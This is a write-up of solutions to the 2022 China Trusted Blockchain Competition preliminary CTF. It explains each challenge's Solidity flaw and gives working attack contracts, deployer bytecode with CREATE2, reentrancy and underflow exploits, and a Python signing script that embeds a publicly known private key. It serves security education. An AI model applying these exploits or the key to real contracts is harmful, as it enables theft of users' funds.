2022中国可信链大赛初赛赛题全解

news/2024/11/28 2:31:16/

所有的题目我都放在了代码仓库,由于太长就不放入wp了,感兴趣的可自行移步。

题目预览

  • TrusterLenderPool
    • 分析
    • 攻击
  • SVip
    • 分析
    • 攻击
  • Merkle
    • 分析
    • 攻击
  • OwnerBuy
    • 分析
    • 攻击
  • LostAssets
    • 分析
    • 攻击
  • Storage1
    • 分析
    • 攻击
  • FlashLoanMain
    • 分析
    • 攻击
  • Governance
    • 分析
    • 攻击
  • EverytingIsArt
    • 分析
    • 攻击

TrusterLenderPool

分析

本次大赛的第一题,也是相对来说难度相对较低的一道题
在这里插入图片描述
目的是成功调用Complete函数,也就要求我们拿走合约的所有token0余额。
在这里插入图片描述
合约创建之初拥有10100个token,拥有两个函数,一个flashloan,一个swap。
看完合约思路就已经很清晰了,用flashloan借钱,再用swap换成token1,在swap的过程中就已经完成了flashloan还钱的操作,最后再用手中的token1换走合约中的token0即可完成攻击。

攻击

攻击合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.1;
pragma solidity ^0.8.0;
import "./TrusterLenderPool.sol";
contract poolAttack{TrusterLenderPool public pool;Cert public token0;Cert public token1;constructor(address _pool){pool = TrusterLenderPool(_pool);token0=pool.token0();token1 = pool.token1();}function loan(uint256 amount)public{pool.flashLoan(amount,address(this));token1.approve(address(pool),amount);pool.swap(address(token0),amount);}function receiveEther(uint256 amount)public{token0.approve(address(pool),amount);pool.swap(address(token1),amount);}// function ended(uint256 amount)public{//     token1.approve(address(pool),amount);//     pool.swap(address(token0),amount);// }fallback()external payable{}
}

直接调用loan传入10100*10**18即可完成攻击。
在这里插入图片描述

SVip

分析

在这里插入图片描述
要求我们成为SuperVip,就是要求我们成功调用promotionSVip函数
在这里插入图片描述
合约几个函数很简单,getPoint可以给我们一百个point,transferPoints可以进行point间的转账。很容易能够注意到tansferPoints使用了中间变量来存储转账前 的余额,如果我们的调用者和接受者为同一地址,就等于没扣余额。

攻击

攻击合约:

pragma solidity ^0.4.24;
import "./SVip.sol";
contract svipAttack{SVip sv;constructor(address _addr){sv = SVip(_addr);}function get()public{for(uint i =0;i<99;i++){sv.getPoint();}}function transfer()public{for(uint i=0;i<11;i++){sv.transferPoints(address(this),98);}sv.transferPoints(msg.sender,1000);}
}

用自己的账户调用一次getPoints,然后调用get和transfer,最后调用题目的promotionSVip即可完成攻击。
在这里插入图片描述

Merkle

分析

在这里插入图片描述
题目需要我们把合约初始化的一个ether全拿出来。
而想要取钱就需要调用withdraw函数,要成功转账则需要我们是merkleTree白名单中的一员,而合约初始化时我们肯定不在其中,这时候就需要调用setMerkleroot设定新的根节点。

此合约的onlyOwner只检查了调用者地址的前两位,很容易想到creat2来创建攻击合约。

这时候思路就很明确了,利用creat2创建跟owner前两位相同的合约,然后设定包含该地址的root,然后直接转账即可。

攻击

攻击合约:

// SPDX-License-Identifier: GPL-3.0pragma solidity ^0.7.0;
import "./Merkle.sol";
contract attack{Merkle merk;constructor(){}function init(address _addr)public{merk = Merkle(_addr);}function att(bytes32 root)public payable{bytes32[] memory proof = new bytes32[](2);// [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;merk.setMerkleroot(root);}function att2()public {bytes32[] memory proof = new bytes32[](2);// [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;merk.withdraw(proof,address(this));}function figure()public returns(bytes32){bytes32[] memory proof = new bytes32[](2);// [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;bytes32 computedHash = keccak256(abi.encodePacked(address(this)));// bytes32 computedHash = msg.sender;for (uint256 i = 0; i < proof.length; i++) {bytes32 proofElement = proof[i];if (computedHash <= proofElement) {// Hash(current computed hash + current element of the proof)computedHash = keccak256(abi.encodePacked(computedHash, proofElement));} else {// Hash(current element of the proof + current computed hash)computedHash = keccak256(abi.encodePacked(proofElement, computedHash));}}return computedHash;}fallback()external payable{}
}
// contract figure{
//     bytes20 public mask;
//     constructor(){
//         mask = hex"ff00000000000000000000000000000000000000";
//     }
// }

部署合约:

contract deployed{bytes contractBytecode = hex"608060405234801561001057600080fd5b5061065b806100206000396000f3fe6080604052600436106100435760003560e01c806312c973c11461004657806313b6ae4c1461007457806319ab453c1461009f57806338a39681146100f057610044565b5b005b6100726004803603602081101561005c57600080fd5b8101908080359060200190929190505050610107565b005b34801561008057600080fd5b5061008961025a565b6040518082815260200191505060405180910390f35b3480156100ab57600080fd5b506100ee600480360360208110156100c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061040d565b005b3480156100fc57600080fd5b50610105610450565b005b6000600267ffffffffffffffff8111801561012157600080fd5b506040519080825280602002602001820160405280156101505781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b8160008151811061018357fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b816001815181106101bf57fe5b60200260200101818152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166392f6c439836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561023e57600080fd5b505af1158015610252573d6000803e3d6000fd5b505050505050565b600080600267ffffffffffffffff8111801561027557600080fd5b506040519080825280602002602001820160405280156102a45781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b816000815181106102d757fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b8160018151811061031357fe5b602002602001018181525050600030604051602001808273ffffffffffffffffffffffffffffffffffffffff1660601b815260140191505060405160208183030381529060405280519060200120905060005b825181101561040457600083828151811061037d57fe5b602002602001015190508083116103c457828160405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092506103f6565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b508080600101915050610366565b50809250505090565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600267ffffffffffffffff8111801561046a57600080fd5b506040519080825280602002602001820160405280156104995781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b816000815181106104cc57fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b8160018151811061050857fe5b60200260200101818152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338be559282306040518363ffffffff1660e01b815260040180806020018373ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019060200280838360005b838110156105c05780820151818401526020810190506105a5565b505050509050019350505050602060405180830381600087803b1580156105e657600080fd5b505af11580156105fa573d6000803e3d6000fd5b505050506040513d602081101561061057600080fd5b8101908080519060200190929190505050505056fea2646970667358221220372540e23ad43e92c314947c7fb63098acee553a411ffe0aa1d829d1c303b92464736f6c63430007060033";function deploy(bytes32 salt) public returns(address) {bytes memory bytecode = contractBytecode;address addr;assembly {addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)}return addr;
}function getHash()public view returns(bytes32){return keccak256(contractBytecode);}
}

跟我们的思路一样,先根据脚本(同样在代码仓库中)计算出salt,利用creat2部署攻击合约,在攻击合约中先设定包含我们自己地址的root,随后调用withdraw函数即可完成攻击。
在这里插入图片描述

OwnerBuy

分析

题目需要我们的Times大于100。
整个合约中只有buy和sell函数涉及到了Times的增减,buy将我们的Times设定为1,而sell函数将我们的Times–,这里能想到下溢。

我们分别分析两个函数。
在这里插入图片描述
要调用buy就需要绕过其中的多个限制,需要owner为指定地址,且需要中间合约,并且Times为0,balance为0,msg.value=1,即可给我们100的余额,且Times为1.

其他的都很好通过,唯独需要指定地址的owner,需要我们先成为owner,再把owner转给指定地址。

在这里插入图片描述
成为owner需要我们地址的后四位为ffff,同样是利用creat2即可。
再来看sell
在这里插入图片描述
输入值大于200,creat2,Times大于0,balance大于输入值,随后会调用我们的fallback,这里很明显可以重入,且在Times为1的情况下重入一次即可发生下溢,唯一需要的就是我们的余额至少要大于四百,因为需要给合约转两次两百以上的转账。

由于每次buy都只能获得一百的余额,所以一个账户肯定是不行的,我们需要准备四个账户。
在这里插入图片描述
transfer函数也需要注意,如果接受者不是白名单的话,最大的余额不能超过一百,我们成为owner的时候需要把我们自己和合约地址设定为白名单。

攻击

攻击合约:

// 0.5.1-c8a2
// Enable optimization
pragma solidity ^0.5.0;
import "./OwnerBuy.sol";
contract ownerBuyAttack{OwnerBuy ownerbuy;bool public count;bool public isowner;constructor()public payable{}function isOwner(address owner) external returns (bool){if(!isowner){isowner=true;return false;}isowner=false;return true;}function init (address _addr)public payable{ownerbuy = OwnerBuy(_addr);}function becomeOwner()public{ownerbuy.changestatus(address(this));ownerbuy.changeOwner();}function setWhite()public{ownerbuy.setWhite(address(this));ownerbuy.setWhite(address(ownerbuy));}function transferOwner()public{ownerbuy.transferOwnership(0x220866B1A2219f40e72f5c628B65D54268cA3A9D);}function buy()public{ownerbuy.buy.value(1)();}function sell()public{ownerbuy.sell(200);}function finish()public{ownerbuy.finish();}function()external payable{if(!count){count=true;ownerbuy.sell(200);}}
}
contract helper{OwnerBuy ownerbuy;constructor(address _addr)public{ownerbuy = OwnerBuy(_addr);}function buy()public payable{ownerbuy.buy.value(1)();}function transfer(address attacker)public{ownerbuy.transfer(attacker,100);}
}

部署合约:

contract deployed{bytes contractBytecode = hex"60806040526109eb806100136000396000f3fe6080604052600436106100915760003560e01c8063a6f2ae3a11610059578063a6f2ae3a1461027e578063d56b288914610295578063df05f42e146102ac578063ead4d3db146102c3578063f9dca989146102f257610091565b806306661abd1461017457806319ab453c146101a35780632f54bf6e146101e757806345710074146102505780637e10e9d114610267575b600060149054906101000a900460ff16610172576001600060146101000a81548160ff0219169083151502179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561013557600080fd5b505af1158015610149573d6000803e3d6000fd5b505050506040513d602081101561015f57600080fd5b8101908080519060200190929190505050505b005b34801561018057600080fd5b50610189610309565b604051808215151515815260200191505060405180910390f35b6101e5600480360360208110156101b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061031c565b005b3480156101f357600080fd5b506102366004803603602081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061035f565b604051808215151515815260200191505060405180910390f35b34801561025c57600080fd5b506102656103bc565b005b34801561027357600080fd5b5061027c61046f565b005b34801561028a57600080fd5b5061029361064a565b005b3480156102a157600080fd5b506102aa6106f3565b005b3480156102b857600080fd5b506102c161079a565b005b3480156102cf57600080fd5b506102d8610868565b604051808215151515815260200191505060405180910390f35b3480156102fe57600080fd5b5061030761087b565b005b600060149054906101000a900460ff1681565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060159054906101000a900460ff16610398576001600060156101000a81548160ff021916908315150217905550600090506103b7565b60008060156101000a81548160ff021916908315150217905550600190505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561043157600080fd5b505af1158015610445573d6000803e3d6000fd5b505050506040513d602081101561045b57600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561050f57600080fd5b505af1158015610523573d6000803e3d6000fd5b505050506040513d602081101561053957600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561060c57600080fd5b505af1158015610620573d6000803e3d6000fd5b505050506040513d602081101561063657600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6f2ae3a60016040518263ffffffff1660e01b81526004016020604051808303818588803b1580156106b457600080fd5b505af11580156106c8573d6000803e3d6000fd5b50505050506040513d60208110156106df57600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d56b28896040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561075c57600080fd5b505af1158015610770573d6000803e3d6000fd5b505050506040513d602081101561078657600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b73220866b1a2219f40e72f5c628b65d54268ca3a9d6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561084e57600080fd5b505af1158015610862573d6000803e3d6000fd5b50505050565b600060159054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166351ec819f306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561091b57600080fd5b505af115801561092f573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166362a094776040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561099c57600080fd5b505af11580156109b0573d6000803e3d6000fd5b5050505056fea265627a7a72315820490de0313b1ad79570c77ae043ce5fe65f40e32cd15657be89fd034ab9e52c2464736f6c63430005110032";function deploy(bytes32 salt) public returns(address) {bytes memory bytecode = contractBytecode;address addr;assembly {addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)}return addr;
}function getHash()public view returns(bytes32){return keccak256(contractBytecode);}
}

首先调用init函数初始化并传入eth供后面使用,然后调用becomeOwner成为owner,然后将我们和合约地址设为白名单,随后转走owner,调用buy。
然后部署三个用来helper合约,用来拿到更多的balance,转给攻击合约辅助后面的攻击。
在这里插入图片描述
在这里插入图片描述
到这一步我们的balance应该为400,Times为1
随后再成为owner,调用sell函数即可,然后调用finish函数,合约中的钱已经被我们全部转走,完成攻击。

在这里插入图片描述

LostAssets

分析

在这里插入图片描述
题目要求我们拿走合约所有的weth。
合约提供了两种token,一种erc20也就是weth,另一种为erc20permit,也就是sweth,对weth进行了权限的封装。
在这里插入图片描述
此题重点在这个函数,他需要我们拿到对应的授权,才允许我们转走weth,乍一看好像并没有问题,但是weth本身并没有继承erc20permit
在这里插入图片描述
也就是说,验证权限的这一部分代码没有任何意义,直接跳到了下面的转账。
在这里插入图片描述
所以我们直接转账即可完成攻击。

攻击

输入对应的参数即可,hash,r,s,v等都可以随便输,完成攻击。
在这里插入图片描述
在这里插入图片描述

Storage1

分析

在这里插入图片描述
题目要求我们成为admin,并且我们的gasDeposits要很大。

合约里面好像并没有改变admin的方法,并且gasDeposits也是根据我们传入的value值进行改变的,所以我们需要另寻他路。
在这里插入图片描述
这个函数很有意思,他让我们可以随意更改storage中的值,那么很明显,我们直接通过这个函数修改admin和我们对应的gasDeposits即可。

攻击

攻击合约:

contract attack{function figure(address _addr)public view returns(bytes32){return keccak256(abi.encode(_addr,2));}
}

只是为了计算出我们的depositGas在存储中的位置。
在这里插入图片描述

在这里插入图片描述
第一次放入1,放入我们的地址,修改我们为admin。
第二次放入计算出的值,放入比9999999999999999999999999999999999大的数,修改我们的gas。
攻击成功。
在这里插入图片描述

FlashLoanMain

分析

在这里插入图片描述
这关要求我们的cert balance大于100个,而airdrop函数一开始就能给我们一百个,所以只要我们的余额多一点就可以了。

看完合约之后很明显能够知道,我们的目的是利用flashloan函数借钱出来,然后调用isCompleted就行了。
在这里插入图片描述
所以我们的目的就是依次通过这些require,首先第一个require需要我们获得签名,第二个require则限制了转账金额,第三个是向我们转账,第四个执行我们的回退函数,第五个需要把钱从我们手里转回去。

那么很明显,我们需要绕开的只有第一个require.
在这里插入图片描述
这里就涉及到了以太坊的签名机制,ECDSA会根据我们输入的消息哈希,以及签名来还原出地址,而签名需要用该地址的私钥对消息哈希签名得到,也就是说我们的目标就是拿到对应地址的私钥。
在这里插入图片描述
通过还原,给出的几个值,能够得到对应地址为
0x001d3F1ef827552Ae1114027BD3ECF1f086bA0F9
而这个地址经常用于web3中,所以google一下很轻松就能够获取到他的私钥,可以进行攻击了。

攻击

攻击合约:

contract attck{bytes32 public msgHash = 0x1a6092262d7dc33c2f4b9913ad9318a8c41a138bb42dfacd4c7b6b46b8656522;bytes32 public r = 0xb158f1759111cd99128505f450f608c97178e2b6b9b6f7c3b0d2949e3a21cd02;bytes32 public s = 0x3ade8887fce9b513d41eb36180d6f7d9e072c756991034de2c9a5da541fb8184;uint8 public v = 0x1b;FlashLoanMain public flashloanAddr;address public flashLoanPriveder;Cert cert;function init(address _addr,address _privedor,address _cert)public {flashloanAddr = FlashLoanMain( _addr);flashLoanPriveder = _privedor;cert = Cert(_cert);}function figure()public view returns(address){return ECDSAUpgradeable.recover(msgHash,v,r,s);}function att(IFlashBorrower borrower,address token,uint256 amount,bytes memory signature)public{IFlashLoanPriveder(flashLoanPriveder).flashLoan(borrower,token,amount,signature,bytes(""));}function air()public{flashloanAddr.airdrop();}function onFlashLoan(address initiator,address token,uint256 amount,bytes calldata data) external returns (bool){flashloanAddr.Complete();cert.approve(flashLoanPriveder,amount);return true;}}

google获取私钥后,接下来的操作就是签名,签名脚本如下:

from eth_account import Accountmessagehash = "0xb4474375ee0d4abdd0612fd733942feeb646d5f85bddaff21aff4acd36c41e8d"
privatekey ="0xf8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315"
signMessage = Account.signHash(message_hash=messagehash,
private_key=privatekey)
print("signature =",signMessage)

由于web3.js和小狐狸的签名都会在签名先加上通用前缀,而这个题并没有加上前缀而是直接进行了ecrecover,所以我选择了使用web3.py来进行签名操作。拿到签名后,把签名以及对应的参数一起放入攻击合约的att函数,即可完成攻击。
在这里插入图片描述
在这里插入图片描述

Governance

分析

在这里插入图片描述
题目要求我们成为validator后才能拿到旗。
而成为validator又需要我们的vote也就是投票数大于mster的总数的三分之二。
在这里插入图片描述
只有master的owner能进行投票,并且只能投一次,根据对应master的余额获得投票数。
masterChef简要来说就是一个拥有利率系统的代币,让人感到出人意料的是下面这个函数。
在这里插入图片描述
他的作用是用来取走所有的master,但是却使用了memory类型的变量,也就是说我取出我的钱之后,在代币池中的余额并不会减少,也就是说我们可以凭此拿走池子所有的余额。
在这里插入图片描述
而只要我们拿到一百万以上的余额,我们就可以成为owner,也就可以投票了
在这里插入图片描述
但池子的余额也只有一千万,离总余额的三分之二,也就是七千三百万还差得很远。

但master同时也是一个erc20代币,我们可以利用多个地址,在我们自己vote之后,把代币发给其他的地址,依次进行vote,很轻松能够拿到多余七千三百万的vote。

攻击

contract attack{MasterChef master;Governance gover;address[7]  helpers;address public owner;constructor(address _master,address _gover)public{master = MasterChef(_master);gover = Governance(_gover);owner = msg.sender;}function getAir()public{for (uint i=0;i<1000;i++){master.airdorp();}}function getOwner()public{master.transferOwnership(address(this));}function vode()public{gover.vote(owner);}function setHelpers()public{for(uint i=0;i<helpers.length;i++){helpers[i]=address(new helper(address(master),address(gover)));}}function getBalance()public{for(uint i=0;i<1000;i++){master.emergencyWithdraw(0);}}function transferd()public{master.approve(address(master),master.balanceOf(address(this)));master.deposit(0,master.balanceOf(address(this)));}function getVote()public{master.transfer(helpers[0],10000000);helper(helpers[0]).getOwner();helper(helpers[0]).vode(owner);for (uint i=0;i<helpers.length-1;i++){helper(helpers[i]).transferd(helpers[i+1]);helper(helpers[i+1]).getOwner();helper(helpers[i+1]).vode(owner);}helper(helpers[6]).transferd(address(this));}
}
contract helper{MasterChef master;Governance gover;constructor(address _master,address _gover)public{master = MasterChef(_master);gover = Governance(_gover);}function getOwner()public{master.transferOwnership(address(this));}function vode(address _addr)public{gover.vote(_addr);}function transferd(address _addr)public{master.transfer(_addr,10000000);}
}

依次调用getair,transferd,十次getbalance,getOwner,vode,setHelper,getVote函数,即可完成攻击。
在这里插入图片描述在这里插入图片描述

EverytingIsArt

分析

在这里插入图片描述
题目要求我们balance等于288.
这个题令我出乎意料,我以为最后一题应该会是最难的一题,没想到是最简单的一题。
在这里插入图片描述
直接在该函数中传入288即可。

除了这种解决方法,另两个关于hope的函数还存在重入问题,即先进行mint后改变状态变量,按理来说同样可以达成条件,但一旦重入次数超过107,就会发生gas费超标的问题,两个函数分别重入107次也达不到288,但也同样是一个漏洞。

攻击

直接在becomeAnArtist中输入288,即可完成攻击。
在这里插入图片描述


http://www.ppmy.cn/news/346463.html

相关文章

HECO使用docker部署单节点的开发网

文章目录 一. 编写说明1.1 文档说明1.2 配置信息1.3 部署文档信息 二.heco开发网镜像生成三.heco主链容器生成3.1 配置文件编写3.2 预先创建一个账户地址3.3 创建genesis.json3.4 初始化geth3.5 启动geth3.6 启动挖矿 四.控制台指令使用五.rpc命令使用5.1当前燃气价格5.2 返回客…

gcc 命令详解及最佳实践

介绍 GCC&#xff08;英文全拼&#xff1a;GNU Compiler Collection&#xff09;是 GNU 工具链的主要组成部分&#xff0c;是一套以 GPL 和 LGPL 许可证发布的程序语言编译器自由软件&#xff0c;由 Richard Stallman 于 1985 年开始开发。 GCC 原名为 GNU C语言编译器&#…

jffs2_scan_eraseblock

有关 jffs2_scan_eraseblock 问题小结 2008-10-04 16:35 总结前面遇到的问题&#xff1a; 1.有关类似&#xff1a; mtd->read(0x44 bytes from 0x68cf44) returned ECC error jffs2_get_inode_nodes(): CRC failed on node at 0x0068c684: Read 0xe8b9b3b0, calculated 0x94…

access violation reading 0x0000000000000020

access violation reading 0x0000000000000020 原因&#xff1a; 再次使用之前应该先释放一下内存&#xff1a; av_freep(aviobuffer); //printf("restart 4"); aviobuffer (unsigned char *)av_malloc(32768); 加上之后继续报错&#xff1a; OSError: excep…

jffs2_scan_eraseblock()问题解决办法

原文地址&#xff1a;https://blog.csdn.net/xin289379297/article/details/40923655 这个问题搞了我三天&#xff0c;尝试了网上的所有办法&#xff0c;均不奏效&#xff0c;只是偶尔能mount上jffs2系统&#xff1b; Old JFFS2 bitmask found at 0x02476c3cYou cannot use old…

jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0064ffe4: 0x0011 in

jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0064ffe4: 0x0011 in ./mkfs.jffs2 -s 0x1000 -e 0x40000 -p 0x500000 -d rootfs/ -o rootfs.jffs2 说明&#xff1a; 页大小0x1000 4k 块大小0x40000 64k jffs2分区总空间0x500000即5M 当然生成的…

zynq linux内核出错,Zynq-Linux移植学习笔记(二十五)——新内核JFFS2文件系统CRC错误解决...

1、背景介绍 最近为了使用PCIe驱动,对Linux内核进行了升级,目前ZYNQ发布的最新版内核为2017.4(对应内核版本4.9),升级虽然解决了PCIe驱动问题,但却引入了另一个奇怪的问题-挂载JFFS2文件系统时会出现如下错误: jffs2: jffs2_scan_eraseblock(): Node at 0x0000225c {0x198…

linux提取文件关键字命令,Linux 中awk 提取包含某个关键字的段落

前提 AWK是一种处理文本文件的语言,是一个强大的文本分析工具。 本文将使用命令awk将具有某个关键字的段落提取出来。 准备数据 "Finalizer" #3 daemon prio=8 os_prio=0 tid=0x00007fb2dc1aa800 nid=0x63f6 in Object.wait() [0x00007fb2be61f000] java.lang.Threa…